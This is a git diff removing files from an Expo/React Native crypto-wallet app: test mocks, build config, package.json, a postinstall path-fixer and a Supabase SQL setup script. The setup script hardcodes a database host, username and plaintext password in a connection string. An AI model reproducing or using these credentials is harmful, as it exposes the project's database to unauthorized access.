endpoint: 'wss://rpc.pezkuwichain.io:9944',
|
||||
chainId: 'pezkuwi',
|
||||
},
|
||||
DEFAULT_ENDPOINT: 'ws://127.0.0.1:9944',
|
||||
getExplorerUrl: jest.fn((txHash) => `https://explorer.pezkuwichain.app/tx/${txHash}`),
|
||||
}));
|
||||
|
||||
// Mock shared DEX utilities
|
||||
jest.mock('../shared/utils/dex', () => ({
|
||||
formatTokenBalance: jest.fn((amount, decimals) => '0.00'),
|
||||
parseTokenInput: jest.fn((input, decimals) => '0'),
|
||||
calculatePriceImpact: jest.fn(() => '0'),
|
||||
getAmountOut: jest.fn(() => '0'),
|
||||
calculateMinAmount: jest.fn((amount, slippage) => '0'),
|
||||
fetchPools: jest.fn(() => Promise.resolve([])),
|
||||
fetchUserPositions: jest.fn(() => Promise.resolve([])),
|
||||
}));
|
||||
|
||||
// Mock shared P2P fiat utilities
|
||||
jest.mock('../shared/lib/p2p-fiat', () => ({
|
||||
getActiveOffers: jest.fn(() => Promise.resolve([])),
|
||||
createOffer: jest.fn(() => Promise.resolve({ id: '123' })),
|
||||
acceptOffer: jest.fn(() => Promise.resolve(true)),
|
||||
}));
|
||||
|
||||
// Mock shared wallet utilities (handles import.meta)
|
||||
jest.mock('../shared/lib/wallet', () => ({
|
||||
formatBalance: jest.fn((amount, decimals) => '0.00'),
|
||||
parseBalance: jest.fn((amount) => '0'),
|
||||
NETWORK_ENDPOINTS: {
|
||||
local: 'ws://127.0.0.1:9944',
|
||||
testnet: 'wss://testnet.pezkuwichain.io',
|
||||
mainnet: 'wss://mainnet.pezkuwichain.io',
|
||||
staging: 'wss://staging.pezkuwichain.io',
|
||||
beta: 'wss://rpc.pezkuwichain.io:9944',
|
||||
},
|
||||
}));
|
||||
|
||||
// Mock shared staking utilities (handles import.meta)
|
||||
jest.mock('../shared/lib/staking', () => ({
|
||||
formatBalance: jest.fn((amount) => '0.00'),
|
||||
NETWORK_ENDPOINTS: {},
|
||||
}));
|
||||
|
||||
// Mock shared citizenship workflow (handles polkadot/extension-dapp)
|
||||
jest.mock('../shared/lib/citizenship-workflow', () => ({
|
||||
createCitizenshipRequest: jest.fn(() => Promise.resolve({ id: '123' })),
|
||||
}));
|
||||
|
||||
// Note: Alert is mocked in individual test files where needed
|
||||
|
||||
// Silence console warnings in tests
|
||||
global.console = {
|
||||
...console,
|
||||
warn: jest.fn(),
|
||||
error: jest.fn(),
|
||||
};
|
||||
@@ -1,65 +0,0 @@
|
||||
// Learn more https://docs.expo.io/guides/customizing-metro
|
||||
const { getDefaultConfig } = require('expo/metro-config');
|
||||
const path = require('path');
|
||||
|
||||
/** @type {import('expo/metro-config').MetroConfig} */
|
||||
const config = getDefaultConfig(__dirname);
|
||||
|
||||
// ============================================
|
||||
// WORKSPACE CONFIGURATION
|
||||
// ============================================
|
||||
|
||||
const projectRoot = __dirname;
|
||||
const workspaceRoot = path.resolve(projectRoot, '..');
|
||||
|
||||
// Watch folders - include shared directory for cross-project imports
|
||||
config.watchFolders = [workspaceRoot];
|
||||
|
||||
// Tell Metro where to resolve packages (both project and workspace node_modules)
|
||||
config.resolver.nodeModulesPaths = [
|
||||
path.resolve(projectRoot, 'node_modules'),
|
||||
path.resolve(workspaceRoot, 'node_modules'),
|
||||
];
|
||||
|
||||
// ============================================
|
||||
// CUSTOM MODULE RESOLUTION
|
||||
// ============================================
|
||||
// Note: @pezkuwi packages have incorrect main field in npm (cjs/build/cjs/index.js)
|
||||
// This is automatically fixed by scripts/fix-pezkuwi-packages.cjs via postinstall hook
|
||||
|
||||
// ============================================
|
||||
// FILE EXTENSIONS
|
||||
// ============================================
|
||||
|
||||
// Extend default extensions instead of replacing them
|
||||
config.resolver.sourceExts = [
|
||||
...config.resolver.sourceExts,
|
||||
'expo.ts',
|
||||
'expo.tsx',
|
||||
'expo.js',
|
||||
'expo.jsx',
|
||||
'wasm',
|
||||
];
|
||||
|
||||
// SVG should be handled as source file for react-native-svg transformer
|
||||
// Remove svg from assetExts if present, add to sourceExts
|
||||
config.resolver.assetExts = config.resolver.assetExts.filter(ext => ext !== 'svg');
|
||||
if (!config.resolver.sourceExts.includes('svg')) {
|
||||
config.resolver.sourceExts.push('svg');
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// NODE POLYFILLS
|
||||
// ============================================
|
||||
|
||||
// Polyfills will be resolved from project's own node_modules
|
||||
|
||||
// ============================================
|
||||
// PACKAGE EXPORTS RESOLUTION
|
||||
// ============================================
|
||||
|
||||
// Disable strict package exports checking for packages like @noble/hashes
|
||||
// that don't properly export all their submodules
|
||||
config.resolver.unstable_enablePackageExports = false;
|
||||
|
||||
module.exports = config;
|
||||
@@ -1,4 +0,0 @@
|
||||
#!/bin/bash
|
||||
# Wrapper to run node with Yarn PnP support
|
||||
cd /home/mamostehp/pwap/mobile
|
||||
exec yarn node "$@"
|
||||
Generated
-19882
File diff suppressed because it is too large
Load Diff
@@ -1,138 +0,0 @@
|
||||
{
|
||||
"name": "mobile",
|
||||
"version": "1.0.0",
|
||||
"type": "module",
|
||||
"main": "index.ts",
|
||||
"scripts": {
|
||||
"postinstall": "node scripts/fix-pezkuwi-packages.cjs",
|
||||
"start": "expo start",
|
||||
"dev": "cp .env.development .env && expo start --clear",
|
||||
"dev:tunnel": "cp .env.development .env && expo start --tunnel --clear",
|
||||
"dev:android": "cp .env.development .env && expo run:android",
|
||||
"dev:ios": "cp .env.development .env && expo run:ios",
|
||||
"dev:web": "cp .env.development .env && expo start --web",
|
||||
"prod": "cp .env.production .env && expo start --no-dev --minify",
|
||||
"build:dev": "cp .env.development .env && eas build --profile development",
|
||||
"build:preview": "cp .env.production .env && eas build --profile preview",
|
||||
"build:prod": "cp .env.production .env && eas build --profile production",
|
||||
"build:en": "EXPO_PUBLIC_DEFAULT_LANGUAGE=en eas build --platform android --profile production",
|
||||
"build:tr": "EXPO_PUBLIC_DEFAULT_LANGUAGE=tr eas build --platform android --profile production",
|
||||
"build:kmr": "EXPO_PUBLIC_DEFAULT_LANGUAGE=kmr eas build --platform android --profile production",
|
||||
"build:ckb": "EXPO_PUBLIC_DEFAULT_LANGUAGE=ckb eas build --platform android --profile production",
|
||||
"build:ar": "EXPO_PUBLIC_DEFAULT_LANGUAGE=ar eas build --platform android --profile production",
|
||||
"build:fa": "EXPO_PUBLIC_DEFAULT_LANGUAGE=fa eas build --platform android --profile production",
|
||||
"build:all": "npm run build:en && npm run build:tr && npm run build:kmr && npm run build:ckb && npm run build:ar && npm run build:fa",
|
||||
"android": "expo run:android",
|
||||
"ios": "expo run:ios",
|
||||
"web": "expo start --web",
|
||||
"test": "jest",
|
||||
"test:watch": "jest --watch",
|
||||
"test:coverage": "jest --coverage",
|
||||
"lint": "eslint .",
|
||||
"lint:fix": "eslint . --fix",
|
||||
"release": "standard-version",
|
||||
"release:patch": "standard-version --release-as patch",
|
||||
"release:minor": "standard-version --release-as minor",
|
||||
"release:major": "standard-version --release-as major",
|
||||
"release:dry-run": "standard-version --dry-run"
|
||||
},
|
||||
"dependencies": {
|
||||
"@babel/runtime": "^7.28.4",
|
||||
"@pezkuwi/api": "^16.5.36",
|
||||
"@pezkuwi/keyring": "^14.0.25",
|
||||
"@pezkuwi/types": "^16.5.36",
|
||||
"@pezkuwi/util": "^14.0.25",
|
||||
"@pezkuwi/util-crypto": "^14.0.25",
|
||||
"@react-native-async-storage/async-storage": "^2.2.0",
|
||||
"@react-native-picker/picker": "^2.11.4",
|
||||
"@react-navigation/bottom-tabs": "^7.8.5",
|
||||
"@react-navigation/native": "^7.1.20",
|
||||
"@react-navigation/stack": "^7.6.4",
|
||||
"@supabase/supabase-js": "^2.90.1",
|
||||
"buffer": "^6.0.3",
|
||||
"concat-map": "^0.0.2",
|
||||
"expo": "~54.0.23",
|
||||
"expo-camera": "~17.0.10",
|
||||
"expo-image-picker": "~17.0.10",
|
||||
"expo-linear-gradient": "^15.0.7",
|
||||
"expo-local-authentication": "^17.0.7",
|
||||
"expo-secure-store": "^15.0.7",
|
||||
"expo-status-bar": "~3.0.8",
|
||||
"i18next": "^25.6.2",
|
||||
"invariant": "^2.2.4",
|
||||
"metro-runtime": "^0.81.0",
|
||||
"react": "19.1.0",
|
||||
"react-dom": "19.1.0",
|
||||
"react-i18next": "^16.3.3",
|
||||
"react-native": "0.81.5",
|
||||
"react-native-gesture-handler": "~2.28.0",
|
||||
"react-native-get-random-values": "~1.11.0",
|
||||
"react-native-qrcode-svg": "^6.3.11",
|
||||
"react-native-safe-area-context": "^5.6.2",
|
||||
"react-native-screens": "~4.16.0",
|
||||
"react-native-svg": "^15.15.1",
|
||||
"react-native-url-polyfill": "^3.0.0",
|
||||
"react-native-vector-icons": "^10.3.0",
|
||||
"react-native-web": "^0.21.0",
|
||||
"react-native-webview": "13.15.0",
|
||||
"react-refresh": "^0.14.2",
|
||||
"text-encoding": "^0.7.0"
|
||||
},
|
||||
"overrides": {
|
||||
"react-test-renderer": "19.1.0",
|
||||
"@pezkuwi/api-augment": "^16.5.36",
|
||||
"@pezkuwi/api-base": "^16.5.36",
|
||||
"@pezkuwi/api-derive": "^16.5.36",
|
||||
"@pezkuwi/rpc-augment": "^16.5.36",
|
||||
"@pezkuwi/rpc-core": "^16.5.36",
|
||||
"@pezkuwi/rpc-provider": "^16.5.36",
|
||||
"@pezkuwi/types": "^16.5.36",
|
||||
"@pezkuwi/types-augment": "^16.5.36",
|
||||
"@pezkuwi/types-codec": "^16.5.36",
|
||||
"@pezkuwi/types-create": "^16.5.36",
|
||||
"@pezkuwi/types-known": "^16.5.36",
|
||||
"@pezkuwi/networks": "^14.0.25",
|
||||
"@pezkuwi/keyring": "^14.0.25",
|
||||
"@pezkuwi/util": "^14.0.25",
|
||||
"@pezkuwi/util-crypto": "^14.0.25",
|
||||
"@isaacs/brace-expansion": "5.0.1",
|
||||
"fast-xml-parser": "^5.3.6"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@babel/plugin-transform-class-static-block": "^7.28.6",
|
||||
"@expo/ngrok": "^4.1.0",
|
||||
"@pezkuwi/extension-dapp": "^0.62.20",
|
||||
"@pezkuwi/extension-inject": "^0.62.20",
|
||||
"@react-native-community/cli": "^20.1.0",
|
||||
"@react-native/metro-config": "^0.83.1",
|
||||
"@testing-library/jest-native": "^5.4.3",
|
||||
"@testing-library/react-native": "^13.3.3",
|
||||
"@types/invariant": "^2",
|
||||
"@types/jest": "^29.5.12",
|
||||
"@types/react": "~19.1.10",
|
||||
"@types/text-encoding": "^0",
|
||||
"@typescript-eslint/eslint-plugin": "^8.47.0",
|
||||
"@typescript-eslint/parser": "^8.47.0",
|
||||
"babel-preset-expo": "~54.0.9",
|
||||
"eslint": "^9.39.1",
|
||||
"eslint-plugin-react": "^7.37.5",
|
||||
"eslint-plugin-react-hooks": "^7.0.1",
|
||||
"eslint-plugin-react-native": "^5.0.0",
|
||||
"globals": "^16.5.0",
|
||||
"jest": "^29.7.0",
|
||||
"jest-expo": "^54.0.16",
|
||||
"react-native": "^0.83.1",
|
||||
"react-test-renderer": "19.1.0",
|
||||
"standard-version": "^9.5.0",
|
||||
"typescript": "~5.9.2",
|
||||
"typescript-eslint": "^8.47.0"
|
||||
},
|
||||
"private": true,
|
||||
"expo": {
|
||||
"install": {
|
||||
"exclude": [
|
||||
"@types/react"
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,71 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Supabase Database Connection
|
||||
DB_HOST="db.vsyrpfiwhjvahofxwytr.supabase.co"
|
||||
DB_PORT="5432"
|
||||
DB_NAME="postgres"
|
||||
DB_USER="postgres"
|
||||
DB_PASS="SqM210305yBkB@#nm90"
|
||||
|
||||
CONNECTION_STRING="postgresql://${DB_USER}:${DB_PASS}@${DB_HOST}:${DB_PORT}/${DB_NAME}"
|
||||
|
||||
echo "======================================================================"
|
||||
echo "🚀 Executing SQL Scripts on Supabase"
|
||||
echo "======================================================================"
|
||||
|
||||
# Check if psql is available
|
||||
if ! command -v psql &> /dev/null; then
|
||||
echo ""
|
||||
echo "❌ psql not found. Installing PostgreSQL client..."
|
||||
echo ""
|
||||
|
||||
# Try to install psql
|
||||
if command -v apt-get &> /dev/null; then
|
||||
sudo apt-get update && sudo apt-get install -y postgresql-client
|
||||
elif command -v yum &> /dev/null; then
|
||||
sudo yum install -y postgresql
|
||||
else
|
||||
echo "❌ Cannot install PostgreSQL client automatically"
|
||||
echo ""
|
||||
echo "📋 Manual Setup Required:"
|
||||
echo " Go to: https://app.supabase.com/project/vsyrpfiwhjvahofxwytr/sql"
|
||||
echo " Run the SQL from: QUICK_SETUP_GUIDE.md"
|
||||
echo ""
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo "📝 Step 1: Fixing schema compatibility..."
|
||||
echo "======================================================================"
|
||||
|
||||
psql "${CONNECTION_STRING}" -f FIX_SCHEMA_COMPATIBILITY.sql
|
||||
|
||||
if [ $? -eq 0 ]; then
|
||||
echo "✅ Schema compatibility fix completed!"
|
||||
else
|
||||
echo "❌ Error in schema fix"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo "📝 Step 2: Creating missing tables..."
|
||||
echo "======================================================================"
|
||||
|
||||
psql "${CONNECTION_STRING}" -f SUPABASE_SCHEMA.sql
|
||||
|
||||
if [ $? -eq 0 ]; then
|
||||
echo "✅ Table creation completed!"
|
||||
else
|
||||
echo "❌ Error in table creation"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo "======================================================================"
|
||||
echo "🎉 ALL SQL SCRIPTS EXECUTED SUCCESSFULLY!"
|
||||
echo "======================================================================"
|
||||
echo ""
|
||||
echo "📝 Next step: Verify schema compatibility"
|
||||
echo " node check_schema_compatibility.cjs"
|
||||
echo ""
|
||||
@@ -1,195 +0,0 @@
|
||||
#!/usr/bin/env node
|
||||
/**
|
||||
* Postinstall script to fix @pezkuwi packages with incorrect main field paths
|
||||
*
|
||||
* Problem: Some @pezkuwi packages have package.json paths that don't match
|
||||
* their actual file structure. This causes Metro bundler to fail.
|
||||
*
|
||||
* This script automatically detects and fixes broken paths after npm install.
|
||||
*
|
||||
* Examples of fixes:
|
||||
* - main: "./cjs/build/cjs/index.js" → "./cjs/index.js" (when ./cjs/index.js exists)
|
||||
*/
|
||||
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
|
||||
// Find all possible node_modules locations
|
||||
function findNodeModulesPaths() {
|
||||
const paths = [];
|
||||
let currentDir = __dirname;
|
||||
|
||||
// Walk up the directory tree to find all node_modules
|
||||
while (currentDir !== path.dirname(currentDir)) {
|
||||
const nodeModulesPath = path.join(currentDir, 'node_modules');
|
||||
if (fs.existsSync(nodeModulesPath)) {
|
||||
paths.push(nodeModulesPath);
|
||||
}
|
||||
currentDir = path.dirname(currentDir);
|
||||
}
|
||||
|
||||
return paths;
|
||||
}
|
||||
|
||||
// Find all @pezkuwi packages in a node_modules directory
|
||||
function findPezkuwiPackages(nodeModulesPath) {
|
||||
const pezkuwiDir = path.join(nodeModulesPath, '@pezkuwi');
|
||||
if (!fs.existsSync(pezkuwiDir)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
const packages = [];
|
||||
try {
|
||||
const entries = fs.readdirSync(pezkuwiDir, { withFileTypes: true });
|
||||
for (const entry of entries) {
|
||||
if (entry.isDirectory()) {
|
||||
const packageDir = path.join(pezkuwiDir, entry.name);
|
||||
const packageJsonPath = path.join(packageDir, 'package.json');
|
||||
if (fs.existsSync(packageJsonPath)) {
|
||||
packages.push({ dir: packageDir, packageJson: packageJsonPath });
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (err) {
|
||||
console.warn(`Warning: Could not read ${pezkuwiDir}: ${err.message}`);
|
||||
}
|
||||
|
||||
return packages;
|
||||
}
|
||||
|
||||
// Check if a file path is valid (exists)
|
||||
function fileExists(packageDir, relativePath) {
|
||||
if (!relativePath) return false;
|
||||
const fullPath = path.join(packageDir, relativePath);
|
||||
return fs.existsSync(fullPath);
|
||||
}
|
||||
|
||||
// Try to find the correct path for a broken reference
|
||||
function findCorrectPath(packageDir, brokenPath) {
|
||||
if (!brokenPath) return null;
|
||||
|
||||
// Pattern: "./cjs/build/cjs/index.js" should be "./cjs/index.js"
|
||||
if (brokenPath.includes('/build/cjs/')) {
|
||||
const fixedPath = brokenPath.replace('/build/cjs/', '/');
|
||||
if (fileExists(packageDir, fixedPath)) {
|
||||
return fixedPath;
|
||||
}
|
||||
}
|
||||
|
||||
// Pattern: "./build/cjs/index.js" might need to be "./cjs/index.js"
|
||||
// But only if ./build/cjs/index.js doesn't exist
|
||||
if (brokenPath.startsWith('./build/cjs/') && !fileExists(packageDir, brokenPath)) {
|
||||
const fixedPath = brokenPath.replace('./build/cjs/', './cjs/');
|
||||
if (fileExists(packageDir, fixedPath)) {
|
||||
return fixedPath;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
// Fix a single package.json file
|
||||
function fixPackageJson({ dir, packageJson }) {
|
||||
let content;
|
||||
try {
|
||||
content = fs.readFileSync(packageJson, 'utf8');
|
||||
} catch (err) {
|
||||
console.warn(`Warning: Could not read ${packageJson}: ${err.message}`);
|
||||
return { fixed: false, details: [] };
|
||||
}
|
||||
|
||||
let pkg;
|
||||
try {
|
||||
pkg = JSON.parse(content);
|
||||
} catch (err) {
|
||||
console.warn(`Warning: Could not parse ${packageJson}: ${err.message}`);
|
||||
return { fixed: false, details: [] };
|
||||
}
|
||||
|
||||
const fixes = [];
|
||||
|
||||
// Check main field
|
||||
if (pkg.main && !fileExists(dir, pkg.main)) {
|
||||
const correctPath = findCorrectPath(dir, pkg.main);
|
||||
if (correctPath) {
|
||||
fixes.push({ field: 'main', from: pkg.main, to: correctPath });
|
||||
pkg.main = correctPath;
|
||||
}
|
||||
}
|
||||
|
||||
// Check module field
|
||||
if (pkg.module && !fileExists(dir, pkg.module)) {
|
||||
const correctPath = findCorrectPath(dir, pkg.module);
|
||||
if (correctPath) {
|
||||
fixes.push({ field: 'module', from: pkg.module, to: correctPath });
|
||||
pkg.module = correctPath;
|
||||
}
|
||||
}
|
||||
|
||||
// Check types field
|
||||
if (pkg.types && !fileExists(dir, pkg.types)) {
|
||||
// For types, try the same patterns
|
||||
let correctPath = findCorrectPath(dir, pkg.types);
|
||||
// Also try replacing .d.ts patterns
|
||||
if (!correctPath && pkg.types.includes('/build/cjs/')) {
|
||||
const fixedPath = pkg.types.replace('/build/cjs/', '/');
|
||||
if (fileExists(dir, fixedPath)) {
|
||||
correctPath = fixedPath;
|
||||
}
|
||||
}
|
||||
if (correctPath) {
|
||||
fixes.push({ field: 'types', from: pkg.types, to: correctPath });
|
||||
pkg.types = correctPath;
|
||||
}
|
||||
}
|
||||
|
||||
if (fixes.length > 0) {
|
||||
try {
|
||||
fs.writeFileSync(packageJson, JSON.stringify(pkg, null, 2) + '\n', 'utf8');
|
||||
return { fixed: true, details: fixes };
|
||||
} catch (err) {
|
||||
console.error(`Error: Could not write ${packageJson}: ${err.message}`);
|
||||
return { fixed: false, details: [] };
|
||||
}
|
||||
}
|
||||
|
||||
return { fixed: false, details: [] };
|
||||
}
|
||||
|
||||
// Main function
|
||||
function main() {
|
||||
console.log('--- @pezkuwi Package Path Fixer ---');
|
||||
|
||||
const nodeModulesPaths = findNodeModulesPaths();
|
||||
if (nodeModulesPaths.length === 0) {
|
||||
console.log('No node_modules directories found.');
|
||||
return;
|
||||
}
|
||||
|
||||
console.log(`Found ${nodeModulesPaths.length} node_modules location(s)`);
|
||||
|
||||
let totalFixed = 0;
|
||||
let totalChecked = 0;
|
||||
|
||||
for (const nodeModulesPath of nodeModulesPaths) {
|
||||
const packages = findPezkuwiPackages(nodeModulesPath);
|
||||
|
||||
for (const pkg of packages) {
|
||||
totalChecked++;
|
||||
const result = fixPackageJson(pkg);
|
||||
if (result.fixed) {
|
||||
const relativePath = path.relative(process.cwd(), pkg.packageJson);
|
||||
console.log(` Fixed: ${relativePath}`);
|
||||
for (const detail of result.details) {
|
||||
console.log(` ${detail.field}: ${detail.from} → ${detail.to}`);
|
||||
}
|
||||
totalFixed++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
console.log(`\nChecked ${totalChecked} @pezkuwi packages, fixed ${totalFixed}`);
|
||||
console.log('--- Done ---\n');
|
||||
}
|
||||
|
||||
main();
|
||||
@@ -1,31 +0,0 @@
|
||||
/**
|
||||
* Reset Wallet Script
|
||||
*
|
||||
* Clears all wallet data from AsyncStorage for testing purposes.
|
||||
* Run with: node scripts/reset-wallet.js
|
||||
*
|
||||
* Note: This only works in development. For the actual app,
|
||||
* you need to clear the app data or use the in-app reset.
|
||||
*/
|
||||
|
||||
console.log('='.repeat(50));
|
||||
console.log('WALLET RESET INSTRUCTIONS');
|
||||
console.log('='.repeat(50));
|
||||
console.log('');
|
||||
console.log('To reset wallet data in the app, do ONE of these:');
|
||||
console.log('');
|
||||
console.log('1. Clear App Data (Easiest):');
|
||||
console.log(' - iOS Simulator: Device > Erase All Content and Settings');
|
||||
console.log(' - Android: Settings > Apps > Pezkuwi > Clear Data');
|
||||
console.log(' - Expo Go: Shake device > Clear AsyncStorage');
|
||||
console.log('');
|
||||
console.log('2. In Expo Go, run this in the console:');
|
||||
console.log(' AsyncStorage.multiRemove([');
|
||||
console.log(' "@pezkuwi_wallets",');
|
||||
console.log(' "@pezkuwi_selected_account",');
|
||||
console.log(' "@pezkuwi_selected_network"');
|
||||
console.log(' ])');
|
||||
console.log('');
|
||||
console.log('3. Add temp reset button (already added to Settings)');
|
||||
console.log('');
|
||||
console.log('='.repeat(50));
|
||||
@@ -1,39 +0,0 @@
|
||||
/**
|
||||
* Custom version updater for app.json
|
||||
* Used by standard-version to update Expo app.json version fields
|
||||
*/
|
||||
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
|
||||
const APP_JSON_PATH = path.join(__dirname, '..', 'app.json');
|
||||
|
||||
module.exports.readVersion = function (contents) {
|
||||
const appJson = JSON.parse(contents);
|
||||
return appJson.expo.version;
|
||||
};
|
||||
|
||||
module.exports.writeVersion = function (contents, version) {
|
||||
const appJson = JSON.parse(contents);
|
||||
|
||||
// Update expo.version
|
||||
appJson.expo.version = version;
|
||||
|
||||
// Auto-increment build numbers for iOS and Android
|
||||
const versionParts = version.split('.');
|
||||
const buildNumber = parseInt(versionParts[0]) * 10000 +
|
||||
parseInt(versionParts[1]) * 100 +
|
||||
parseInt(versionParts[2]);
|
||||
|
||||
// Update iOS buildNumber
|
||||
if (appJson.expo.ios) {
|
||||
appJson.expo.ios.buildNumber = String(buildNumber);
|
||||
}
|
||||
|
||||
// Update Android versionCode
|
||||
if (appJson.expo.android) {
|
||||
appJson.expo.android.versionCode = buildNumber;
|
||||
}
|
||||
|
||||
return JSON.stringify(appJson, null, 2) + '\n';
|
||||
};
|
||||
@@ -1 +0,0 @@
|
||||
../shared
|
||||
@@ -1,42 +0,0 @@
|
||||
// Mock AsyncStorage for testing
|
||||
const storage: { [key: string]: string } = {};
|
||||
|
||||
export default {
|
||||
setItem: jest.fn((key: string, value: string) => {
|
||||
storage[key] = value;
|
||||
return Promise.resolve();
|
||||
}),
|
||||
getItem: jest.fn((key: string) => {
|
||||
return Promise.resolve(storage[key] || null);
|
||||
}),
|
||||
removeItem: jest.fn((key: string) => {
|
||||
delete storage[key];
|
||||
return Promise.resolve();
|
||||
}),
|
||||
clear: jest.fn(() => {
|
||||
Object.keys(storage).forEach(key => delete storage[key]);
|
||||
return Promise.resolve();
|
||||
}),
|
||||
getAllKeys: jest.fn(() => {
|
||||
return Promise.resolve(Object.keys(storage));
|
||||
}),
|
||||
multiGet: jest.fn((keys: string[]) => {
|
||||
return Promise.resolve(
|
||||
keys.map(key => [key, storage[key] || null])
|
||||
);
|
||||
}),
|
||||
multiSet: jest.fn((keyValuePairs: [string, string][]) => {
|
||||
keyValuePairs.forEach(([key, value]) => {
|
||||
storage[key] = value;
|
||||
});
|
||||
return Promise.resolve();
|
||||
}),
|
||||
multiRemove: jest.fn((keys: string[]) => {
|
||||
keys.forEach(key => delete storage[key]);
|
||||
return Promise.resolve();
|
||||
}),
|
||||
_clear: () => {
|
||||
Object.keys(storage).forEach(key => delete storage[key]);
|
||||
},
|
||||
_getStorage: () => storage,
|
||||
};
|
||||
@@ -1,51 +0,0 @@
|
||||
import React, { createContext, useContext, ReactNode } from 'react';
|
||||
import { User, Session, AuthError } from '@supabase/supabase-js';
|
||||
|
||||
// Mock Auth Context for testing
|
||||
interface AuthContextType {
|
||||
user: User | null;
|
||||
session: Session | null;
|
||||
loading: boolean;
|
||||
signIn: (email: string, password: string) => Promise<{ error: AuthError | null }>;
|
||||
signUp: (email: string, password: string, fullName: string) => Promise<{ error: AuthError | null }>;
|
||||
signOut: () => Promise<void>;
|
||||
changePassword: (newPassword: string, currentPassword: string) => Promise<{ error: AuthError | null }>;
|
||||
resetPassword: (email: string) => Promise<{ error: AuthError | null }>;
|
||||
}
|
||||
|
||||
const mockUser: User = {
|
||||
id: 'test-user-id',
|
||||
email: 'test@pezkuwichain.io',
|
||||
app_metadata: {},
|
||||
user_metadata: {},
|
||||
aud: 'authenticated',
|
||||
created_at: new Date().toISOString(),
|
||||
};
|
||||
|
||||
export const mockAuthContext: AuthContextType = {
|
||||
user: mockUser,
|
||||
session: null,
|
||||
loading: false,
|
||||
signIn: jest.fn().mockResolvedValue({ error: null }),
|
||||
signUp: jest.fn().mockResolvedValue({ error: null }),
|
||||
signOut: jest.fn().mockResolvedValue(undefined),
|
||||
changePassword: jest.fn().mockResolvedValue({ error: null }),
|
||||
resetPassword: jest.fn().mockResolvedValue({ error: null }),
|
||||
};
|
||||
|
||||
const AuthContext = createContext<AuthContextType>(mockAuthContext);
|
||||
|
||||
export const MockAuthProvider: React.FC<{
|
||||
children: ReactNode;
|
||||
value?: Partial<AuthContextType>
|
||||
}> = ({ children, value = {} }) => {
|
||||
const contextValue = { ...mockAuthContext, ...value };
|
||||
return <AuthContext.Provider value={contextValue}>{children}</AuthContext.Provider>;
|
||||
};
|
||||
|
||||
// Export as AuthProvider for compatibility with test imports
|
||||
export const AuthProvider = MockAuthProvider;
|
||||
|
||||
export const useAuth = () => useContext(AuthContext);
|
||||
|
||||
export default AuthContext;
|
||||
@@ -1,57 +0,0 @@
|
||||
import React, { createContext, useContext, ReactNode } from 'react';
|
||||
|
||||
// Mock Biometric Auth Context for testing
|
||||
interface BiometricAuthContextType {
|
||||
isBiometricSupported: boolean;
|
||||
isBiometricEnrolled: boolean;
|
||||
isBiometricAvailable: boolean;
|
||||
biometricType: 'fingerprint' | 'facial' | 'iris' | 'none';
|
||||
isBiometricEnabled: boolean;
|
||||
isLocked: boolean;
|
||||
autoLockTimer: number;
|
||||
authenticate: () => Promise<boolean>;
|
||||
enableBiometric: () => Promise<boolean>;
|
||||
disableBiometric: () => Promise<void>;
|
||||
setPinCode: (pin: string) => Promise<void>;
|
||||
verifyPinCode: (pin: string) => Promise<boolean>;
|
||||
setAutoLockTimer: (minutes: number) => Promise<void>;
|
||||
lock: () => void;
|
||||
unlock: () => void;
|
||||
checkAutoLock: () => Promise<void>;
|
||||
}
|
||||
|
||||
export const mockBiometricContext: BiometricAuthContextType = {
|
||||
isBiometricSupported: true,
|
||||
isBiometricEnrolled: true,
|
||||
isBiometricAvailable: true,
|
||||
biometricType: 'fingerprint',
|
||||
isBiometricEnabled: false,
|
||||
isLocked: false,
|
||||
autoLockTimer: 5,
|
||||
authenticate: jest.fn().mockResolvedValue(true),
|
||||
enableBiometric: jest.fn().mockResolvedValue(true),
|
||||
disableBiometric: jest.fn().mockResolvedValue(undefined),
|
||||
setPinCode: jest.fn().mockResolvedValue(undefined),
|
||||
verifyPinCode: jest.fn().mockResolvedValue(true),
|
||||
setAutoLockTimer: jest.fn().mockResolvedValue(undefined),
|
||||
lock: jest.fn(),
|
||||
unlock: jest.fn(),
|
||||
checkAutoLock: jest.fn().mockResolvedValue(undefined),
|
||||
};
|
||||
|
||||
const BiometricAuthContext = createContext<BiometricAuthContextType>(mockBiometricContext);
|
||||
|
||||
export const MockBiometricAuthProvider: React.FC<{
|
||||
children: ReactNode;
|
||||
value?: Partial<BiometricAuthContextType>
|
||||
}> = ({ children, value = {} }) => {
|
||||
const contextValue = { ...mockBiometricContext, ...value };
|
||||
return <BiometricAuthContext.Provider value={contextValue}>{children}</BiometricAuthContext.Provider>;
|
||||
};
|
||||
|
||||
// Export as BiometricAuthProvider for compatibility with test imports
|
||||
export const BiometricAuthProvider = MockBiometricAuthProvider;
|
||||
|
||||
export const useBiometricAuth = () => useContext(BiometricAuthContext);
|
||||
|
||||
export default BiometricAuthContext;
|
||||
@@ -1,85 +0,0 @@
|
||||
import React, { createContext, useContext, ReactNode } from 'react';
|
||||
|
||||
export const mockPezkuwiContext = {
|
||||
api: null,
|
||||
isApiReady: false,
|
||||
selectedAccount: { address: '5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY', name: 'Test Account' },
|
||||
accounts: [{ address: '5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY', name: 'Test Account' }],
|
||||
connectWallet: jest.fn(),
|
||||
disconnectWallet: jest.fn(),
|
||||
setSelectedAccount: jest.fn(),
|
||||
getKeyPair: jest.fn(),
|
||||
currentNetwork: 'pezkuwi' as const,
|
||||
switchNetwork: jest.fn(),
|
||||
endpoint: 'wss://rpc.pezkuwichain.io:9944',
|
||||
setEndpoint: jest.fn(),
|
||||
error: null,
|
||||
};
|
||||
|
||||
